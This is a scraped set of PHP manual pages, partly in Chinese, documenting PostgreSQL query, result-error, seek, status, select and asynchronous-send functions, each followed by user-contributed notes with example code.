  }
  else {
   while ($row = pg_fetch_array($result)) {
     //do stuff with $row
   }
  }
?>

This solution doesn't raise the load of the system with the move of matching rows (perhaps 0,1, perhaps 100, 1000, ... rows)
mankyd 13-May-2006 07:21
There was a typo in the code that I posted:

<?php
  $result=pg_query($conn, "SELECT * FROM x WHERE a=b;");
  if  (!$result) {
   echo "query did not execute";
  }
  if (pg_num_rows($result) == 0) {
   echo "0 records"
  }
  else {
   while ($row = pg_fetch_array($result)) {
     //do stuff with $row
   }
  }
?>
mankyd 12-May-2006 06:56
Improving upon what jsuzuki said:

It's probably better to use pg_num_rows() to see if no rows were returned, as that leaves the resultset cursor pointed to the first row so you can use it in a loop.

Example:

<?php
  $result=pg_query($conn, "SELECT * FROM x WHERE a=b;");
  if  (!$result) {
   echo "query did not execute";
  }
  if (pg_num_rows($result) == 0) {
   echo "0 records"
  }
  else {
    while ($row = pg_fetch_array($result) {
      //do stuff with $row
    }
  }
?>

I, personally, also find it more readable.
jsuzuki at spamcop dot net 27-Nov-2005 05:58
expanding on the note left by "cmoore" -

To check to see if the recordset returned no records,

<?php
  $result=pg_query($conn, "SELECT * FROM x WHERE a=b;");
  if  (!$result) {
    echo "query did not execute";
  }
  $rs = pg_fetch_assoc($result);
  if (!$rs) {
    echo "0 records"
  }
?>

-jack
cmoore 05-Sep-2005 11:20
One thing to note that wasn't obvious to me at first.  If your query returns zero rows, that is not a "failed" query.  So the following is wrong:
  $result=pg_query($conn, "SELECT * FROM x WHERE a=b;");
  if  (!$result) {
    echo "No a=b in x\n";
  }

pg_query returns FALSE if the query can not be executed for some reason.  If the query is executed but returns zero rows then you get back a resul with no rows.
Akbar 01-Dec-2004 08:07
Use pg_query to call your stored procedures, and use pg_fetch_result when getting a value (like a smallint as in this example) returned by your stored procedure.

<?php
$pgConnection = pg_connect("dbname=users user=me");

$userNameToCheckFor = "metal";

$result = pg_query($pgConnection, "SELECT howManyUsersHaveThisName('$userNameToCheckFor')");

$count = pg_fetch_result($result, 0, 'howManyUsersHaveThisName');
?>
mentat at azsoft dot pl 14-Oct-2002 05:16
$GLOBALS["PG_CONNECT"]=pg_connect(...);
....

function query ($sqlQuery,$var=0) {
   if (!$GLOBALS["PG_CONNECT"]) return 0;
   $lev=error_reporting (8); //NO WARRING!!
   $result=pg_query ($sqlQuery);
   error_reporting ($lev); //DEFAULT!!
   if (strlen ($r=pg_last_error ($GLOBALS["PG_CONNECT"]))) {
      if ($var) {
        echo "<p color=\"red\">ERROR:<pre>";
        echo $sqlQuery;
        echo "</pre>";
        echo $r;
        echo "&lt/p>";
      }
      close_db ();
      return 0;
   }
   return $result;
}


Returns an individual field of an error report

  • ? pg_query
  • pg_result_error ?
  • PHP Manual
  • PostgreSQL 函数
  • Returns an individual field of an error report

pg_result_error_field

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_result_error_field — Returns an individual field of an error report

说明

pg_result_error_field(PgSql\Result $result, int $field_code): string|false|null

pg_result_error_field() returns one of the detailed error message fields associated with result instance. It is only available against a PostgreSQL 7.4 or above server. The error field is specified by the field_code.

Because pg_query() and pg_query_params() return false if the query fails, you must use pg_send_query() and pg_get_result() to get the result handle.

If you need to get additional error information from failed pg_query() queries, use pg_set_error_verbosity() and pg_last_error() and then parse the result.

参数

result

PgSql\Result 实例，由 pg_query()、pg_query_params() 或者 pg_execute()（等）返回。

field_code

Possible field_code values are: PGSQL_DIAG_SEVERITY, PGSQL_DIAG_SQLSTATE, PGSQL_DIAG_MESSAGE_PRIMARY, PGSQL_DIAG_MESSAGE_DETAIL, PGSQL_DIAG_MESSAGE_HINT, PGSQL_DIAG_STATEMENT_POSITION, PGSQL_DIAG_INTERNAL_POSITION (PostgreSQL 8.0+ only), PGSQL_DIAG_INTERNAL_QUERY (PostgreSQL 8.0+ only), PGSQL_DIAG_CONTEXT, PGSQL_DIAG_SOURCE_FILE, PGSQL_DIAG_SOURCE_LINE or PGSQL_DIAG_SOURCE_FUNCTION.

返回值

A string containing the contents of the error field, null if the field does not exist or false on failure.

更新日志

版本 | 说明
8.1.0 | 现在 result 参数接受 PgSql\Result 实例，之前接受 resource。

示例

Example #1 pg_result_error_field() example

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

if (!pg_connection_busy($dbconn)) {
pg_send_query($dbconn, "select * from doesnotexist;");
}

$res1 = pg_get_result($dbconn);
echo pg_result_error_field($res1, PGSQL_DIAG_SQLSTATE);
?>

参见

  • pg_result_error() - 获得跟 result 相关的错误信息

User Contributed Notes

dev at gwouite dot fr 30-Jul-2023 09:23
Complete list of field codes from libpq documentation...

Warning : they are prefixed with "PG_", just change to "PGSQL_" and they'll be available as defined PHP values.

For me, most importants fields are suffixed with a star ;)

PG_DIAG_SEVERITY
PG_DIAG_SEVERITY_NONLOCALIZED  *
PG_DIAG_SQLSTATE  *
PG_DIAG_MESSAGE_PRIMARY
PG_DIAG_MESSAGE_DETAIL
PG_DIAG_MESSAGE_HINT
PG_DIAG_STATEMENT_POSITION
PG_DIAG_INTERNAL_POSITION
PG_DIAG_INTERNAL_QUERY
PG_DIAG_CONTEXT
PG_DIAG_SCHEMA_NAME  *
PG_DIAG_TABLE_NAME  *
PG_DIAG_COLUMN_NAME  *
PG_DIAG_DATATYPE_NAME  *
PG_DIAG_CONSTRAINT_NAME
PG_DIAG_SOURCE_FILE
PG_DIAG_SOURCE_LINE
PG_DIAG_SOURCE_FUNCTION

Source and field codes details : https://www.postgresql.org/docs/current/libpq-exec.html


获得跟 result 相关的错误信息

  • ? pg_result_error_field
  • pg_result_seek ?
  • PHP Manual
  • PostgreSQL 函数
  • 获得跟 result 相关的错误信息

pg_result_error

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_result_error — 获得跟 result 相关的错误信息

说明

pg_result_error(PgSql\Result $result): string|false

pg_result_error() 返回和 result 实例关联的错误信息。因此用户更有机会可以得到比 pg_last_error() 更好的错误信息。

函数 pg_result_error_field() 可以比 pg_result_error() 给出更多关于 result 错误的细节。

因为如果查询失败 pg_query() 返回 false，必须使用 pg_send_query() 和 pg_get_result() 来获取 result 句柄。

参数

result

PgSql\Result 实例，由 pg_query()、pg_query_params() 或者 pg_execute()（等）返回。

返回值

返回 string。如果没有错误返回空字符串。如果有跟 result 参数相关的错误，则返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 result 参数接受 PgSql\Result 实例，之前接受 resource。

示例

Example #1 pg_result_error() 示例

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

if (!pg_connection_busy($dbconn)) {
pg_send_query($dbconn, "select * from doesnotexist;");
}

$res1 = pg_get_result($dbconn);
echo pg_result_error($res1);
?>

参见

  • pg_result_error_field() - Returns an individual field of an error report
  • pg_query() - 执行查询
  • pg_send_query() - 发送异步查询
  • pg_get_result() - 取得异步查询结果
  • pg_last_error() - 得到某连接的最后一条错误信息
  • pg_last_notice() - 返回 PostgreSQL 服务器最新一条公告信息

User Contributed Notes

VLroyrenn 18-Jan-2019 07:19
So considering pg_query and pg_query_params don't return results on error, and that this would be an extremely handy thing to have, I just ended up writing my own functions wrapping the pg_send_* ones to work like the aforementionned two <em>should</em>. There's not a whole lot of code to them, the comments are mostly references from the libPQ and PHP doc, to explain the behavior.

<?php

class PostgresConnectionError extends Exception {
    public function __construct($last_error) {
        parent::__construct($message);
    }
}

function pg_send_query_sync($connection, string $query) {
    // This function cannot work if any query is already running for that connection because the results may then get mixed up.
    assert(pg_get_result($connection) === false);

    $dispatch_ok = pg_send_query($connection, $query);

    // The *only* case where nothing can be returned, when the connection fails to dispatch the initial query.
    if (!$dispatch_ok) throw new PostgresConnectionError(pg_?last_?error($connection));

    // From the libPQ doc : "PQgetResult must be called repeatedly until it returns a null pointer, indicating that the command is done."

    // In the case of pg_query/PQExec, which we're trying to emulate:
    // "Note however that the returned PGresult structure describes only the result of the last command executed from the string."
    // "Should one of the commands fail, processing of the string stops with it and the returned PGresult describes the error condition."

    while ($result = pg_get_result($connection)) {
        // Drain all results on the connection and only return the last one.
        if ($last_result) pg_free_result($last_result);
        $last_result = $result;
    }

    assert(is_resource($result) && get_resource_type($result) === "pgsql result");
    return $last_result;
}

function pg_send_query_params_sync($connection, string $query, array $params) {
    // This function cannot work if any query is already running for that connection because the results may then get mixed up.
    assert(pg_get_result($connection) === false);

    $dispatch_ok = pg_send_query_params($connection, $query, $params);

    // The *only* case where nothing can be returned, when the connection fails to dispatch the initial query.
    if (!$dispatch_ok) throw new PostgresConnectionError(pg_?last_?error($connection));

    // From the libPQ doc : "PQgetResult must be called repeatedly until it returns a null pointer, indicating that the command is done."

    // In the case of pg_query_params/PQExecParams, which we're trying to emulate:
    // "Unlike PQexec, PQexecParams allows at most one SQL command in the given string. (There can be semicolons in it, but not more than one nonempty command.)"

    while ($result = pg_get_result($connection)) {
        // Drain all results on the connection, although there should only be one.
        if ($last_result) pg_free_result($last_result);
        $last_result = $result;
    }

    assert(is_resource($result) && get_resource_type($result) === "pgsql result");
    return $last_result;
}
spamuser at test dot com 16-Mar-2011 01:14
pg_result_error does NOT work with prepared statements.
axon dot wp at wp dot pl 02-Mar-2006 04:20
You can  use pg_set_error_verbosity() to retrieve SQLSTATUS from pg_last_error().
15-Mar-2004 04:12
Because pg_query() returns FALSE if the query fails, you must must use pg_send_query() and pg_get_result() to get the result handle.

PostgreSQL 7.4 introduced a new function called PQresultErrorField() that can be used to get SQLSTATE code from a query, which is far more useful than the error string returned from pg_result_error().
http://www.postgresql.org/docs/7.4/static/libpq-exec.html
http://www.postgresql.org/docs/7.4/static/errcodes-appendix.html

Here's a patch that adds the pg_result_error_field() function to PHP:
http://collapsed.net/patches/php-4.3.5RC3-pg_result_error_field.diff
(To apply the patch cd into your php-4.3.5RC directory and type: patch -p1 </path/to/php-4.3.5RC3-pg_result_error_field.diff)

Example code:
<?php
  if(!($db = pg_connect("user=foo password=bar dbname=foobar")))
    die("pg_connect");

  if(!pg_send_query($db, "SELECT foo FROM bar"))
    die("pg_send_query");

  if(!($result = pg_get_result($db)))
    die("pg_get_result");

  echo(pg_result_error($result) . "<br />\n");

  /* only available if you have patched php */
  if(function_exists("pg_result_error_field"))
  {
    $fieldcode = array(
      "PGSQL_DIAG_SEVERITY",        "PGSQL_DIAG_SQLSTATE",
      "PGSQL_DIAG_MESSAGE_PRIMARY", "PGSQL_DIAG_MESSAGE_DETAIL",
      "PGSQL_DIAG_MESSAGE_HINT",    "PGSQL_DIAG_STATEMENT_POSITION",
      "PGSQL_DIAG_CONTEXT",         "PGSQL_DIAG_SOURCE_FILE",
      "PGSQL_DIAG_SOURCE_LINE",     "PGSQL_DIAG_SOURCE_FUNCTION");

    foreach($fieldcode as $fcode)
    {
      printf("%s: %s<br />\n",
        $fcode,
        pg_result_error_field($result, constant($fcode)));
    }

    pg_free_result($result);
  }
?>

<?php pg_result_error_field($result, PGSQL_DIAG_SQLSTATE); ?>
Returns the SQLSTATE code.


在 result 实例中设定内部行偏移量

  • ? pg_result_error
  • pg_result_status ?
  • PHP Manual
  • PostgreSQL 函数
  • 在 result 实例中设定内部行偏移量

pg_result_seek

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_result_seek — 在 result 实例中设定内部行偏移量

说明

pg_result_seek(PgSql\Result $result, int $row): bool

pg_result_seek() 在 result 实例中设定内部行偏移量。

参数

result

PgSql\Result 实例，由 pg_query()、pg_query_params() 或者 pg_execute()（等）返回。

row

在 PgSql\Result 实例中将内部偏移量移动到的行。行号从零开始。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 result 参数接受 PgSql\Result 实例，之前接受 resource。

示例

Example #1 pg_result_seek() 示例

<?php

// 连接到数据库
$conn = pg_pconnect("dbname=publisher");

// 执行查询
$result = pg_query($conn, "SELECT author, email FROM authors");

// 寻找第三行（假设有 3 行）
pg_result_seek($result, 2);

// 获取第三行记录
$row = pg_fetch_row($result);

?>

参见

  • pg_fetch_row() - 提取一行作为枚举数组
  • pg_fetch_assoc() - 获取一行作为关联数组
  • pg_fetch_array() - 获取一行作为数组
  • pg_fetch_object() - 获取一行作为对象
  • pg_fetch_result() - 从结果实例返回值

User Contributed Notes

andrew-php dot net at andrew dot net dot au 17-Sep-2004 08:01
Ah, this is a handy feature for resetting the record index, for example, if you're used pg_fetch_{row,array,assoc} to iterate over the result set, and you want to do it again later on, without reexecuting your query. Something like:

<?php pg_result_seek($result, 0); ?>

will allow you to iterate over the result set all over again...


获得查询结果的状态

  • ? pg_result_seek
  • pg_select ?
  • PHP Manual
  • PostgreSQL 函数
  • 获得查询结果的状态

pg_result_status

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_result_status — 获得查询结果的状态

说明

pg_result_status(PgSql\Result $result, int $mode = PGSQL_STATUS_LONG): string|int

pg_result_status() 返回 PgSql\Result 实例的状态，或者与 result 相关的 PostgreSQL 命令完成标记。

参数

result

PgSql\Result 实例，由 pg_query()、pg_query_params() 或者 pg_execute()（等）返回。

mode

要么指定 PGSQL_STATUS_LONG 返回 result 的数字状态，要么指定 PGSQL_STATUS_STRING 返回 result 的命令标记。如果未指定，默认是 PGSQL_STATUS_LONG。

返回值

如果指定 PGSQL_STATUS_LONG，可能返回的值是 PGSQL_EMPTY_QUERY、PGSQL_COMMAND_OK、PGSQL_TUPLES_OK、PGSQL_COPY_OUT、PGSQL_COPY_IN、PGSQL_BAD_RESPONSE、PGSQL_NONFATAL_ERROR 和 PGSQL_FATAL_ERROR。否则，返回包含 PostgreSQL 命令标记的 string。

更新日志

版本 | 说明
8.1.0 | 现在 result 参数接受 PgSql\Result 实例，之前接受 resource。

示例

Example #1 pg_result_status() 示例

<?php

// Connect to the database
$conn = pg_pconnect("dbname=publisher");

// Execute a COPY
$result = pg_query($conn, "COPY authors FROM STDIN;");

// Get the result status
$status = pg_result_status($result);

// Determine status
if ($status == PGSQL_COPY_IN)
echo "Copy began.";
else
echo "Copy failed.";

?>

以上示例会输出：

Copy began.

参见

  • pg_connection_status() - 获取连接状态

User Contributed Notes

Anonymous 01-Mar-2014 06:44
This function is useful it may not return a  full non fatal error but you want to see if the query completes anyway.

example

<?PHP
//connect to pg database
// create PGSQL

$PGSTAT = pg_result_status($PGSQL);//defaults to long

//And run it through a check for example

if(($PGSTAT == 1) || ($PGSTAT == 2)){
 // for query results;
}else if(($PGSTAT == 3) || ($PGSTAT == 4)){
 // for copy results;
}
if(($PGSTAT != 0) && ($PGSTAT != 5) && ($PGSTAT != 6) && ($PGSTAT != 7)){
// your code;
}else{
 // $ERRORS codes;
}
// This is worked the best for me so far  I tried using
// The command tag and I seem to still get an numeric result
//example
//$PGSTAT = pg_result_status($PGSQL, PGSQL_COMMAND_OK);
// got something like tuples ok so I recommend just use default long
?>
or use what ever condition check you feel fit
dean at deansas dot org 01-Feb-2013 03:50
The postgres docs say that PHP should never be able to return PGRES_NONFATAL_ERROR

"A result of status PGRES_NONFATAL_ERROR will never be returned directly by PQexec or other query execution functions" http://www.postgresql.org/docs/current/static/libpq-exec.html

Therefore you cannot use this function to check if this query produced a notice.
Meej Vaj 08-Jun-2005 06:45
If on "accident" your program passes pg_result_status a variable that is NOT a actual pg resource, it will return an empty string.
(This is important to know if you want to make sure a pg resource is "good" before attempting some operation on it).
romix at gmx dot de 16-Oct-2002 06:29
0 = PGSQL_EMPTY_QUERY
1 = PGSQL_COMMAND_OK
2 = PGSQL_TUPLES_OK
3 = PGSQL_COPY_TO
4 = PGSQL_COPY_FROM
5 = PGSQL_BAD_RESPONSE
6 = PGSQL_NONFATAL_ERROR
7 = PGSQL_FATAL_ERROR


选择记录

  • ? pg_result_status
  • pg_send_execute ?
  • PHP Manual
  • PostgreSQL 函数
  • 选择记录

pg_select

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_select — 选择记录

说明

pg_select(
PgSql\Connection $connection,
string $table_name,
array $conditions,
int $flags = PGSQL_DML_EXEC,
int $mode = PGSQL_ASSOC
): array|string|false

pg_select() 根据 conditions 数组中的 field=>value 值来选择记录。成功的查询返回和 conditions 指定的条件相匹配的包括记录和字段的数组。

如果设置了 flags，pg_convert() 会按照指定 flag 作用于 conditions 上。

如果设置了 mode，返回值将以数组形式返回，其中使用 PGSQL_NUM 表示索引数组，使用 PGSQL_ASSOC 表示关联数组（默认），或者同时使用 PGSQL_BOTH 表示两者。

默认情况下 pg_select() 传递原始值。值必须转义或指定 PGSQL_DML_ESCAPE。PGSQL_DML_ESCAPE 引用并转义参数/标识符。因此，表/列名称变得区分大小写。

注意转义和预处理查询都不能保护 LIKE 查询、JSON、Array、Regex 等，这些参数要根据上下文来处理。即转义/验证值。

参数

connection

PgSql\Connection 实例。

table_name

要选择记录的表名。

conditions

array，其键是表 table_name 中的字段名称，其值是检索记录必须满足的条件。

flags

任意数量的 PGSQL_CONV_FORCE_NULL、PGSQL_DML_NO_CONV、PGSQL_DML_ESCAPE、PGSQL_DML_EXEC、PGSQL_DML_ASYNC 或 PGSQL_DML_STRING 的组合。当 PGSQL_DML_STRING 是 flags 的一部分，然后将返回查询字符串。当设置了 PGSQL_DML_NO_CONV 或 PGSQL_DML_ESCAPE 时，不会在内部调用 pg_convert()。

mode

PGSQL_ASSOC、PGSQL_NUM 或 PGSQL_BOTH 中的一个。 如果设置了 PGSQL_ASSOC，返回值将是关联 array；如果设置了 PGSQL_NUM，返回值将是索引 array；如果设置了 PGSQL_BOTH，返回值将是同时包含关联和索引的 array。

返回值

成功时，如果通过 flags 传递 PGSQL_DML_STRING，返回 string，否则返回 array， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。
7.1.0 | 新增 mode 参数。

示例

Example #1 pg_select() 示例

<?php
$db = pg_connect('dbname=foo');
// 在某种程度上安全，因为所有值都转义了。
// 然而 PostgreSQL 支持 JSON/Array。无论是
// 转义还是预处理都不安全。
$rec = pg_select($db, 'post_log', $_POST, PG_DML_ESCAPE);
if ($rec) {
echo "Records selected\n";
var_dump($rec);
} else {
echo "User must have sent wrong inputs\n";
}
?>

参见

  • pg_convert() - 将关联的数组值转换为适合 SQL 语句的格式

User Contributed Notes

wietse at cj2 dot nl 27-Feb-2006 08:20
David mentioned that you can't do a Select all.
However, when executing this script:
<?php
    $conn_string = "dbname=mydb";
    $db = pg_connect($conn_string);
    $selectfields = array("imgid" => "");
    $records = pg_select($db,"mmsfiles",$selectfields);
    print_r($records);
?>
...I get this result:
Array
(
    [0] => Array
        (
            [imgid] => 1
            [file] => /home/wietse/public_html/mms/images/1.gif
            [thumb] =>
        )
    [1] => Array
        (
            [imgid] => 2
            [file] => /home/wietse/public_html/mms/images/2.gif
            [thumb] =>
        )
    [2] => Array
        (
            [imgid] => 3
            [file] => /home/wietse/public_html/mms/images/3.gif
            [thumb] =>
        )
    [3] => Array
        (
            [imgid] => 4
            [file] => /home/wietse/public_html/mms/images/4.gif
            [thumb] =>
        )
)
david dot tulloh at infaze dot com dot au 16-May-2005 09:46
Valid options are PGSQL_DML_NO_CONV, PGSQL_DML_EXEC, PGSQL_DMP_ASYNC, PGSQL_DML_STRING (pulled out of source code).

This function does not support selecting from multiple tables.  You can get around this by setting the PGSQL_DML_NO_CONV option.  This prevents the error which occurs when the function tries to convert the condition array.

I think it is also important to point out that the table_name field is not safe, particularily with the PGSQL_DML_NO_CONV option.

The arguements array field is compulsory, as documented.  What isn't so clear is that the array has to actually have some values in it, you can't do a select all.

In summary, this function is good for a very small subset of basic queries.  If you are after anything more complex you are better off with pg_query.


Sends a request to execute a prepared statement with given parameters, without waiting for the result(s)

  • ? pg_select
  • pg_send_prepare ?
  • PHP Manual
  • PostgreSQL 函数
  • Sends a request to execute a prepared statement with given parameters, without waiting for the result(s)

pg_send_execute

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_send_execute — Sends a request to execute a prepared statement with given parameters, without waiting for the result(s)

说明

pg_send_execute(PgSql\Connection $connection, string $statement_name, array $params): int|bool

Sends a request to execute a prepared statement with given parameters, without waiting for the result(s).

This is similar to pg_send_query_params(), but the command to be executed is specified by naming a previously-prepared statement, instead of giving a query string. The function's parameters are handled identically to pg_execute(). Like pg_execute(), it will not work on pre-7.4 versions of PostgreSQL.

参数

connection

PgSql\Connection 实例。

statement_name

The name of the prepared statement to execute. If "" is specified, then the unnamed statement is executed. The name must have been previously prepared using pg_prepare(), pg_send_prepare() or a PREPARE SQL command.

params

An array of parameter values to substitute for the $1, $2, etc. placeholders in the original prepared query string. The number of elements in the array must match the number of placeholders.

返回值

Returns true on success, false or 0 on failure. Use pg_get_result() to determine the query result.

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 Using pg_send_execute()

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

// Prepare a query for execution
if (!pg_connection_busy($dbconn)) {
pg_send_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name = $1');
$res1 = pg_get_result($dbconn);
}

// Execute the prepared query. Note that it is not necessary to escape
// the string "Joe's Widgets" in any way
if (!pg_connection_busy($dbconn)) {
pg_send_execute($dbconn, "my_query", array("Joe's Widgets"));
$res2 = pg_get_result($dbconn);
}

// Execute the same prepared query, this time with a different parameter
if (!pg_connection_busy($dbconn)) {
pg_send_execute($dbconn, "my_query", array("Clothes Clothes Clothes"));
$res3 = pg_get_result($dbconn);
}

?>

参见

  • pg_prepare() - Submits a request to create a prepared statement with the given parameters, and waits for completion
  • pg_send_prepare() - Sends a request to create a prepared statement with the given parameters, without waiting for completion
  • pg_execute() - Sends a request to execute a prepared statement with given parameters, and waits for the result

User Contributed Notes

There are no user contributed notes for this page.


Sends a request to create a prepared statement with the given parameters, without waiting for completion

  • ? pg_send_execute
  • pg_send_query_params ?
  • PHP Manual
  • PostgreSQL 函数
  • Sends a request to create a prepared statement with the given parameters, without waiting for completion

pg_send_prepare

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_send_prepare — Sends a request to create a prepared statement with the given parameters, without waiting for completion

说明

pg_send_prepare(PgSql\Connection $connection, string $statement_name, string $query): int|bool

Sends a request to create a prepared statement with the given parameters, without waiting for completion.

This is an asynchronous version of pg_prepare(): it returns true if it was able to dispatch the request, and false if not. After a successful call, call pg_get_result() to determine whether the server successfully created the prepared statement. The function's parameters are handled identically to pg_prepare(). Like pg_prepare(), it will not work on pre-7.4 versions of PostgreSQL.

参数

connection

PgSql\Connection 实例。

statement_name

The name to give the prepared statement. Must be unique per-connection. If "" is specified, then an unnamed statement is created, overwriting any previously defined unnamed statement.

query

The parameterized SQL statement. Must contain only a single statement. (multiple statements separated by semi-colons are not allowed.) If any parameters are used, they are referred to as $1, $2, etc.

返回值

Returns true on success, false or 0 on failure. Use pg_get_result() to determine the query result.

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 Using pg_send_prepare()

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

// Prepare a query for execution
if (!pg_connection_busy($dbconn)) {
pg_send_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name = $1');
$res1 = pg_get_result($dbconn);
}

// Execute the prepared query. Note that it is not necessary to escape
// the string "Joe's Widgets" in any way
if (!pg_connection_busy($dbconn)) {
pg_send_execute($dbconn, "my_query", array("Joe's Widgets"));
$res2 = pg_get_result($dbconn);
}

// Execute the same prepared query, this time with a different parameter
if (!pg_connection_busy($dbconn)) {
pg_send_execute($dbconn, "my_query", array("Clothes Clothes Clothes"));
$res3 = pg_get_result($dbconn);
}

?>

参见

  • pg_connect() - 打开 PostgreSQL 连接
  • pg_pconnect() - 打开一个持久的 PostgreSQL 连接
  • pg_execute() - Sends a request to execute a prepared statement with given parameters, and waits for the result
  • pg_send_execute() - Sends a request to execute a prepared statement with given parameters, without waiting for the result(s)
  • pg_send_query_params() - Submits a command and separate parameters to the server without waiting for the result(s)

User Contributed Notes

There are no user contributed notes for this page.


Submits a command and separate parameters to the server without waiting for the result(s)

  • ? pg_send_prepare
  • pg_send_query ?
  • PHP Manual
  • PostgreSQL 函数
  • Submits a command and separate parameters to the server without waiting for the result(s)

pg_send_query_params

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_send_query_params — Submits a command and separate parameters to the server without waiting for the result(s)

说明

pg_send_query_params(PgSql\Connection $connection, string $query, array $params): int|bool

Submits a command and separate parameters to the server without waiting for the result(s).

This is equivalent to pg_send_query() except that query parameters can be specified separately from the query string. The function's parameters are handled identically to pg_query_params(). Like pg_query_params(), it will not work on pre-7.4 PostgreSQL connections, and it allows only one command in the query string.

参数

connection

PgSql\Connection 实例。

query

The parameterized SQL statement. Must contain only a single statement. (multiple statements separated by semi-colons are not allowed.) If any parameters are used, they are referred to as $1, $2, etc.

params

An array of parameter values to substitute for the $1, $2, etc. placeholders in the original prepared query string. The number of elements in the array must match the number of placeholders.

返回值

Returns true on success, false or 0 on failure. Use pg_get_result() to determine the query result.

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 Using pg_send_query_params()

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

// Using parameters. Note that it is not necessary to quote or escape
// the parameter.
pg_send_query_params($dbconn, 'select count(*) from authors where city = $1', array('Perth'));

// Compare against basic pg_send_query usage
$str = pg_escape_string('Perth');
pg_send_query($dbconn, "select count(*) from authors where city = '${str}'");
?>

参见

  • pg_send_query() - 发送异步查询

User Contributed Notes

There are no user contributed notes for this page.


发送异步查询

  • ? pg_send_query_params
  • pg_set_client_encoding ?
  • PHP Manual
  • PostgreSQL 函数
  • 发送异步查询

pg_send_query

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_send_query — 发送异步查询

说明

pg_send_query(PgSql\Connection $connection, string $query): int|bool

pg_send_query() 向 connection 发送异步查询。跟 pg_query() 不同，它可以一次性向 PostgreSQL 发送多个查询并用 pg_get_result() 依次得到结果。

当执行查询时不会阻塞脚本执行。用 pg_connection_busy() 来检查连接是否繁忙（即查询正在执行中）。可以使用 pg_cancel_query() 取消查询。

尽管用户可以同时发送多个查询，但连接繁忙的情况下无法发送多个查询。如果连接繁忙时发送了查询，则会等待上一个查询结束，并且丢弃上个查询的所有结果。

参数

connection

PgSql\Connection 实例。

query

要执行的 SQL 语句或者语句集合。

应该正确转义查询中的数据。

返回值

成功时返回 true，失败时返回 false 或 0。使用 pg_get_result() 来确定查询结果。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_send_query() 示例

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

if (!pg_connection_busy($dbconn)) {
pg_send_query($dbconn, "select * from authors; select count(*) from authors;");
}

$res1 = pg_get_result($dbconn);
echo "First call to pg_get_result(): $res1\n";
$rows1 = pg_num_rows($res1);
echo "$res1 has $rows1 records\n\n";

$res2 = pg_get_result($dbconn);
echo "Second call to pg_get_result(): $res2\n";
$rows2 = pg_num_rows($res2);
echo "$res2 has $rows2 records\n";
?>

以上示例会输出：

First call to pg_get_result(): Resource id #3
Resource id #3 has 3 records

Second call to pg_get_result(): Resource id #4
Resource id #4 has 1 records

参见

  • pg_query() - 执行查询
  • pg_cancel_query() - 取消异步查询
  • pg_get_result() - 取得异步查询结果
  • pg_connection_busy() - 获取连接是否繁忙

User Contributed Notes

moodsey211 at gmail dot com 13-Dec-2010 01:48
pg_send_query would not stop your script from executing but it would stop the script from exiting.

Example:

<?php
$con = pg_connect('dbname=payroll');
pg_send_query('SELECT process_payroll()'); // Where process_payroll is a super long process
?>

You would still need to wait for the query to finish before the any display would be sent to the browser. And surprisingly, unlike pg_query this script would not generate the Maximum execution time error.
rw burgholzer is name at deq dot virginia dot gov 30-Jul-2009 09:36
Regarding the failure to process them all now, then retrieve the results later, I found that all queries would return successfully if I added a further condition to your while loop in the "stack_query()" method.

By adding:
&& (pg_transaction_status($conn) === PGSQL_TRANSACTION_IDLE ) )

Every query executed with no errors.

<?php
$conn = pg_connect("dbname=dbname host=localhost user=psql ");
if ($conn === FALSE)
  exit("Can't connect to db");

$q = array();
// send some queries
foreach (range(0, 50) as $i)
  stack_query($q, $conn, "SELECT 'query $i' AS str;");
// receive them
while (true)
  {
    $left = stack_query($q, $conn);
    echo "$left left... ";
    $result = pg_get_result($conn);
    if ($left == 0 && $result === FALSE)
      break;
    $row = pg_fetch_assoc($result);
    // depending on race conditions, you wont get all your original queries here.
    echo "got $row[str]\n";
  }

function stack_query(&$queries, $conn, $sql = FALSE)
{
  if ($sql !== FALSE)
    $queries[] = $sql;
  while (count($queries) && !pg_connection_busy($conn)  && (pg_transaction_status($conn) === PGSQL_TRANSACTION_IDLE ) )
    pg_send_query($conn, array_shift($queries));
  return count($queries) + (pg_connection_busy($conn) ? 1 : 0);
}
?>
vincentdephily 29-Nov-2005 05:25
Note that if you send a query without calling pg_get_result() for the previous one (supposing it has finished and the connection is not busy), the previous query will get discarded.

See for yourself (tested on php4.4.0, postgres8.0.4, Linux/FreeBSD) :
<?
$conn = pg_connect("dbname=template1 host=localhost user=pgsql");
if ($conn === FALSE)
  exit("Can't connect to db");

$q = array();
// send some queries
foreach (range(0, 500) as $i)
  stack_query($q, $conn, "SELECT 'query $i' AS str;");
// receive them
while (true)
  {
    $left = stack_query($q, $conn);
    echo "$left left... ";
    $result = pg_get_result($conn);
    if ($left == 0 && $result === FALSE)
      break;
    $row = pg_fetch_assoc($result);
    // depending on race conditions, you wont get all your original queries here.
    echo "got $row[str]\n";
  }

